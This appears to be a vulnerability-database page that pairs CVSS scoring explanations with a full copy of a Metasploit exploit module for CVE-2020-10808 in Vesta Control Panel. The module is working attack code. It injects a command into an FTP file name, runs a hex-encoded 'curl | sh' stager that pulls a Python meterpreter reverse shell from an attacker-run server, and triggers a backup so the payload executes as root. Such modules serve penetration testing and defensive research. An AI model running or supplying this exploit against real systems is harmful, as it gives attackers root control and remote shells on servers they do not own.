The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Vesta Control Panel Authenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",
'Description' => %q{
This module exploits command injection vulnerability in v-list-user-backups bash script file.
Low privileged authenticated users can execute arbitrary commands under the context of the root user.
An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
result of that backup process, when an attacker try to list existing backups injected payload will be
executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
['CVE', '2020-10808']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8083,
'WfsDelay' => 300,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2020",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(8083),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
deregister_options('FTPUSER', 'FTPPASS')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def login
#
# This is very simple login process. Nothing important.
# We will be using cookie and csrf_token across the module so that we are global variable.
#
print_status('Retrieving cookie and csrf token values')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
})
if res && res.code == 200 && !res.get_cookies.empty?
@cookie = res.get_cookies
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
if @csrf_token.empty?
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
print_good('Cookie and CSRF token values successfully retrieved')
print_status('Authenticating to HTTP Service with given credentials')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'cookie' => @cookie,
'vars_post' => {
'token' => @csrf_token,
'user' => username,
'password' => password
}
})
if res && res.code == 302 && !res.get_cookies.empty?
print_good('Successfully authenticated to the HTTP Service')
@cookie = res.get_cookies
else
fail_with(Failure::Unknown, 'Credentials are not valid.')
end
end
def is_scheduled_backup_running
res = trigger_scheduled_backup
#
# MORE explaination.
#
if res && res.code == 302
res = trigger_payload
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
return true
else
print_good('It seems scheduled backup is done ..! Triggerring payload <3')
return false
end
else
fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
end
return false
end
def trigger_payload
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
})
if res && res.code == 200
res
else
fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
end
end
def trigger_scheduled_backup
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
})
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
res
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
end
def payload_implant
#
# Our payload will be placed as a file name on FTP service.
# Payload lenght can't be more then 255 and SPACE can't be used because of the
# bug in the backend software. Due to these limitations, I used web delivery method.
#
# When the initial payload executed. It will execute very short perl command, which is going to fetch
# actual python meterpreter first stager and execute it.
#
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Yet another datastore variable overriding.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = 21
datastore['FTPUSER'] = username
datastore['FTPPASS'] = password
#
# Connecting to the FTP service with same creds as web ui.
# Implanting the very first stage of payload as a empty file.
#
if (not connect_login)
fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')
end
print_good('Successfully authenticated to the FTP service')
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
if res.nil?
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
end
print_good('Successfully uploaded the payload as a file name')
disconnect
# Revert datastore variables.
datastore['RPORT'] = port_restore
datastore['SSL'] = true if ssl_restore
end
def exploit
start_http_server
payload_implant
login
trigger_scheduled_backup
print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')
while is_scheduled_backup_running == true
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
Rex.sleep(30)
end
stop_service
end
def on_request_uri(cli, request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
second_stage = "python -c \"#{payload.encoded}\""
send_response(cli, second_stage, {'Content-Type'=>'text/html'})
end
def start_http_server
#
# HttpClient and HttpServer use same SSL variable :(
# We don't need a SSL for payload delivery.
#
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
print_status("Second payload download URI is #{get_uri}")
# We need that global variable since get_uri keep using SSL from datastore
# We have to get the URI before restoring the SSL.
@second_stage_url = get_uri
datastore['SSL'] = true if ssl_restore
end
end
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